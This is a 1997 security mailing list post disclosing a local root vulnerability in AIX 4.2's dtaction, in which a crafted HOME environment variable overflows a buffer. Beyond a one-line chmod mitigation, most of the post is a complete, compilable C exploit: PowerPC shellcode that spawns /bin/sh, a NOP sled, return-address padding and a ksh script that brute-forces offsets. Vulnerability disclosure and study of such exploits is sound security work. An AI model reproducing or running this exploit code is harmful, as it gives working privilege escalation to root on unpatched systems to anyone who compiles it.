[225] in Best-of-Security
BoS: AIX dtaction and HOME vulnerability
daemon@ATHENA.MIT.EDU (Georgi Guninski)
Tue Jun 10 15:15:59 1997
Reply-To: <guninski@hotmail.com>
From: "Georgi Guninski" <guninski@hotmail.com>
Date: Tue, 10 Jun 1997 18:57:55 +0300
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle
properly the HOME environment variable and that spawns a root shell. A lot
of other X programs have the same problem and /bin/X11/xlock is well known
to be exploitable.
Tested on AIX 4.2 box.
SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock
OR apply patches
-----aixdtaction.c------------------------------------------------
/*
AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski
----------------------------------------
DISCLAIMER
This program is for educational purpose ONLY. Do not use it without
permission.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of
the information or functionality provided by this program.
Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
or misuse of this program or any derivatives thereof.
By using this program you accept the fact that any damage (dataloss,
system
crash, system compromise, etc.) caused by the use of this program is not
Georgi Guninski's responsibility.
In case you distribute this, please keep the disclaimer and my addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g aixdtaction.c
DISPLAY should be set.
SOLUTION: #chmod -s /usr/dt/bin/dtaction ; at least stops root shells
-----------------
Georgi Guninski
guninski@hotmail.com
http://www.geocities.com/ResearchTriangle/1711
Suggestions,comments and job offers are welcome!
10-JUNE-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *prog="/usr/dt/bin/dtaction";
char *prog2="dtaction";
extern int execv();
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
return c;
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019
60632c48 lis r3,r3,11336
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002
60634c0c lis r3,r3,19468
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn=100;
int max=280;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
unsigned int reta; /* return address */
int corr=3400;
char *args[4];
char *newenv[8];
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=(unsigned) &buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
newenv[6]=NULL;
args[0]=prog2;
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/* Georgi Guninski guninski@hotmail.com
http://www.geocities.com/ResearchTriangle/1711*/
}
-brute-script----------------------------------------------------------
#!/bin/ksh
L=200
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 96`
../a.out $L
done
